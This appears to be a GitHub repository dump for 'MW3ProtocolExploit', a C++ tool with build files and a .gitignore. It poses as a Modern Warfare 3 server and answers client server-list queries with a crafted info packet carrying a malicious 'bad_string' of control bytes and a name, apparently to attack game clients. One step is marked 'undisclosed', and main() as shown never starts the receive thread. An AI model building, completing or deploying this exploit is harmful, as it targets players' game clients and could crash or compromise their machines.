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https://github.com/diamante0018/MW3ProtocolExploit.git
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.gitignore
vendored
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153
.gitignore
vendored
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### Windows
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# Windows image file caches
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Thumbs.db
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ehthumbs.db
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# Folder config file
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Desktop.ini
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# Recycle Bin used on file shares
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$RECYCLE.BIN/
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# Windows Installer files
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*.cab
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*.msi
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*.msm
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*.msp
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# Shortcuts
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*.lnk
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### OSX
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.DS_Store
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.AppleDouble
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.LSOverride
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# Icon must end with two \r
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Icon
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# Thumbnails
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._*
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# Files that might appear on external disk
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.Spotlight-V100
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.Trashes
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# Directories potentially created on remote AFP share
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.AppleDB
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.AppleDesktop
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Network Trash Folder
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Temporary Items
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.apdisk
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### Visual Studio
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# User-specific files
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*.suo
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*.user
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*.userosscache
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*.sln.docstates
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# User-specific files (MonoDevelop/Xamarin Studio)
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*.userprefs
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# Build results
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build
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# Visual Studio 2015 cache/options directory
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.vs/
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#Visual Studio Code
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.vscode/
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# MSTest test Results
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[Tt]est[Rr]esult*/
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[Bb]uild[Ll]og.*
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*_i.c
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*_p.c
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*_i.h
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*.ilk
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*.meta
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*.obj
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*.pch
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*.pdb
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*.pgc
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*.pgd
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*.rsp
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*.sbr
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*.tlb
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*.tli
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*.tlh
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*.tmp
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*.tmp_proj
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*.log
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*.vspscc
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*.vssscc
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.builds
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*.pidb
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*.svclog
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*.scc
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# Visual C++ cache files
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ipch/
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*.aps
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*.ncb
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*.opendb
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*.opensdf
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*.sdf
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*.cachefile
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# Visual Studio profiler
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*.psess
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*.vsp
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*.vspx
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*.sap
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# TFS 2012 Local Workspace
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$tf/
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# Guidance Automation Toolkit
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*.gpState
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# Visual Studio cache files
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# files ending in .cache can be ignored
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*.[Cc]ache
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# but keep track of directories ending in .cache
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!*.[Cc]ache/
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# Others
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~$*
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*~
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*.dbmdl
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*.dbproj.schemaview
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*.pfx
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*.publishsettings
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# Backup & report files from converting an old project file
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# to a newer Visual Studio version. Backup files are not needed,
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# because we have git ;-)
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_UpgradeReport_Files/
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Backup*/
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UpgradeLog*.XML
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UpgradeLog*.htm
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# SQL Server files
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*.mdf
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*.ldf
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### IDA
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*.id0
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*.id1
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*.id2
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*.nam
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*.til
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### Custom user files
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# User scripts
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user*.bat
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# Premake binary
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#premake5.exe
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3
generate.bat
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3
generate.bat
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@echo off
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git submodule update --init --recursive
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tools\premake5 %* vs2019
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108
premake5.lua
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108
premake5.lua
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dependencies = {
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basePath = "./deps"
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}
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function dependencies.load()
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dir = path.join(dependencies.basePath, "premake/*.lua")
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deps = os.matchfiles(dir)
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for i, dep in pairs(deps) do
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dep = dep:gsub(".lua", "")
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require(dep)
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end
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end
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function dependencies.imports()
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for i, proj in pairs(dependencies) do
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if type(i) == 'number' then
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proj.import()
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end
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end
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end
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function dependencies.projects()
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for i, proj in pairs(dependencies) do
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if type(i) == 'number' then
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proj.project()
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end
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end
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end
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newoption {
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trigger = "copy-to",
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description = "Optional, copy the EXE to a custom folder after build, define the path here if wanted.",
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value = "PATH"
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}
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newoption {
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trigger = "dev-build",
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description = "Enable development builds of the client."
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}
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dependencies.load()
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workspace "server-list-exploit"
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location "./build"
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objdir "%{wks.location}/obj"
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targetdir "%{wks.location}/bin/%{cfg.platform}/%{cfg.buildcfg}"
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configurations {"Debug", "Release"}
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architecture "x86"
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platforms "x86"
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systemversion "latest"
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symbols "On"
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staticruntime "On"
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editandcontinue "Off"
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warnings "Extra"
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characterset "ASCII"
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if _OPTIONS["dev-build"] then
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defines {"DEV_BUILD"}
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end
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flags {"NoIncrementalLink", "NoMinimalRebuild", "MultiProcessorCompile", "No64BitChecks" }
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filter "action:vs*"
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buildoptions "/std:c++17"
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defines { "_WINDOWS", "WIN32" }
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filter "action:gmake*"
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cppdialect "C++17"
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buildoptions "-std=c++17"
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defines { "_LINUX" }
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configuration "Release"
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optimize "Size"
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-- buildoptions {"/GL"}
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-- linkoptions { "/IGNORE:4702", "/LTCG" }
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defines {"NDEBUG"}
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flags {"FatalCompileWarnings"}
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configuration "Debug"
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optimize "Debug"
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defines {"DEBUG", "_DEBUG"}
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configuration {}
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project "server-list-exploit"
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kind "ConsoleApp"
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language "C++"
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pchheader "stdinc.hpp"
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pchsource "src/stdinc.cpp"
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files {"./src/**.hpp", "./src/**.cpp"}
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includedirs {"./src", "%{prj.location}/src"}
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-- links {"kernel32", "user32", "Ws2_32"}
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dependencies.imports()
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group "Dependencies"
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dependencies.projects()
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94
src/main.cpp
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94
src/main.cpp
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#include "stdinc.hpp"
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#include "main.hpp"
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#define MW3_SERVER_4CC 0x504F4F4C
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#define BUF_SIZE 1024
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SOCKET sock;
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bool startUp()
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{
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WSADATA wsa_data;
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WSAStartup(MAKEWORD(2, 2), &wsa_data);
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sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
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if (INVALID_SOCKET == sock)
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{
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printf("Can't initialize socket\n");
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return false;
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}
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sockaddr_in service;
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service.sin_family = AF_INET;
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service.sin_addr.s_addr = htonl(INADDR_ANY);
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// net_masterServerPort
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service.sin_port = htons(27014);
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int result = bind(sock, (SOCKADDR*)&service, sizeof(service));
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if (SOCKET_ERROR == result)
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{
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printf("Can't bind socket\n");
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closesocket(sock);
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return false;
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}
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return true;
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}
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DWORD WINAPI recvTh(LPVOID)
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{
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auto buf = std::make_unique<char[]>(BUF_SIZE);
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u_long iMode = 1;
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ioctlsocket(sock, FIONBIO, &iMode);
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sockaddr_in sender{};
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int senderSize = sizeof(sender);
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serverInfo_t info{};
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// undisclosed step
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info.serverName_ptr = 0;
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info.rawDataSize = INFO_MAX_DATA;
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SecureZeroMemory(&info.rawData, info.rawDataSize);
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while (1)
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{
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SecureZeroMemory(buf.get(), BUF_SIZE);
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auto len = recvfrom(sock, buf.get(), BUF_SIZE, 0, (SOCKADDR*)&sender, &senderSize);
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if (len == SOCKET_ERROR)
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{
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return -1;
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}
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if (len == sizeof(serverQuery_t))
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{
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auto* packet = (serverQuery_t*)buf.get();
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if (packet->magic4CC == MW3_SERVER_4CC)
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{
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printf("Server is sending info to a client\n");
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auto bad_string = "\x5e\x01\xCC\xCC\x0C" "depthprepass"s;
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// auto bad_string = "\x5e\x01\xCC\xCC\x0A" "shellshock"s;
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std::memcpy(&info.rawData[info.serverName_ptr], bad_string.data(), bad_string.length() + 1);
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sendto(sock, (char*)&info, sizeof(serverInfo_t), 0, (SOCKADDR*)&sender, senderSize);
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}
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}
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#ifdef _LINUX
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sleep(1000);
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#else
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Sleep(1);
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#endif
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}
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}
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int main(int, char**)
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{
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if (!startUp())
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{
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return 1;
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}
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WSACleanup();
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}
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39
src/main.hpp
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39
src/main.hpp
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#pragma once
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#define INFO_MAX_DATA 2048
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#pragma pack(1)
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typedef struct
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{
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uint32_t magic4CC;
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uint32_t timeStamp;
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} serverQuery_t;
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typedef struct
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{
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uint32_t magic4CC;
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uint32_t timeStamp;
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int32_t players;
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int32_t maxPlayers;
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bool bPasswordProtected;
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uint32_t bDedicated;
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int32_t serverVersion;
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uint64_t SteamId;
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uint32_t gameIP_int;
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uint32_t gameIP_ext;
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uint16_t gamePort;
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uint16_t queryPort;
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uint16_t netPort;
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char secID[8];
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char secKey[16];
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uint16_t mapName_ptr;
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uint16_t serverName_ptr;
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uint16_t serverTags_ptr;
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uint16_t serverInfos_ptr;
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uint16_t rawDataSize;
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char rawData[INFO_MAX_DATA];
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} serverInfo_t;
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#pragma pack()
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1
src/stdinc.cpp
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1
src/stdinc.cpp
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#include "stdinc.hpp"
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34
src/stdinc.hpp
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34
src/stdinc.hpp
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#ifdef _LINUX
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#pragma clang diagnostic push
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#pragma clang diagnostic ignored "-Wpragma-pack"
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#endif
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// defines
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#define WIN32_LEAN_AND_MEAN
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// windows headers
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#include <WinSock2.h>
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#include <ws2tcpip.h>
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#include <windows.h>
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#include <string>
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#include <vector>
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#include <iostream>
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#include <memory>
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#pragma comment (lib, "Ws2_32.lib")
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// std includes
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#include <string>
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#ifdef _LINUX
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#include <unistd.h>
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#endif
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using namespace std::literals;
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// c types
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#include <cstdint>
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#ifdef _LINUX
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#pragma clang diagnostic pop
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#endif
|
BIN
tools/premake5.exe
Normal file
BIN
tools/premake5.exe
Normal file
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